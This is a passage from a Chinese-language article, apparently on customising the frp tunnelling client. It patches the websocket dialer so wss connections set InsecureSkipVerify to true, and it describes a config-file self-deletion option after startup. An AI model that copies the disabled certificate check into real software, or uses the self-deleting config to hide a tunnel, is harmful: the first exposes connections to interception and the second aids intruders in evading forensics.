style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">另外修复证书错误问题。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">修改 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">websocket</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">dial</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">go</span></code>里的 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">dialWithDialer</span></code>方法。</p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(247, 243, 247);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">func dialWithDialer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dialer </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">net</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Dialer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> config </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">conn net</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Conn</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err error</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">switch</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Location</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Scheme</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">case</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;ws&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        conn</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> dialer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Dial</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;tcp&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> parseAuthority</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Location</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">))</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">case</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;wss&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">TlsConfig</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&amp;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tls</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">InsecureSkipVerify</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">true</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        conn</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> tls</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">DialWithDialer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dialer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;tcp&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> parseAuthority</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Location</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">),</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">TlsConfig</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">default</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ErrBadScheme</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">当使用wss协议的时候，将 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">TlsConfig</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">InsecureSkipVerify</span></code>设置为true，即可忽略证书错误了。</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">测试效果</h4><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5912343470483006" data-s="300,640" style="" data-type="png" data-w="1118" src="https://wechat2rss.xlab.app/img-proxy/?k=b8eccb99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcT5P32v7cPpUFjNPdWEGiaTLNApa7QnoZ4gEIWiaYm6CcnVZZUlDlTHXZmbGs7vsuPRX0oUMbc8ecg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">可见图中的认证数据包已经以wss进行认证了。</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">配置文件自删除</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">在其中看@lz520520师傅的文章里看到</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://sec.lz520520.cn:4430/2020/11/566/#0x03" target="_blank">https://sec.lz520520.cn:4430/2020/11/566/#0x03</a></p><blockquote style="box-sizing: border-box;margin-bottom: 1.2em;padding: 15px 15px 15px 1rem;color: rgb(129, 145, 152);border-left-width: 6px;border-left-color: rgb(96, 125, 139);font-size: 14px;line-height: 22px;background: rgb(242, 247, 251);text-align: start;white-space: normal;"><p style="box-sizing: border-box;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);">只要读取后删除配置文件就好了呀，这个就很简单，我多添加了一个配置文件参数delete，用于判断是否自动删除配置文件。</p></blockquote><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">这一点还是不错的，添加参数，读取完配置文件启动frpc后，自动删除配置文件。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">同样相同的方法在 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">cmd</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 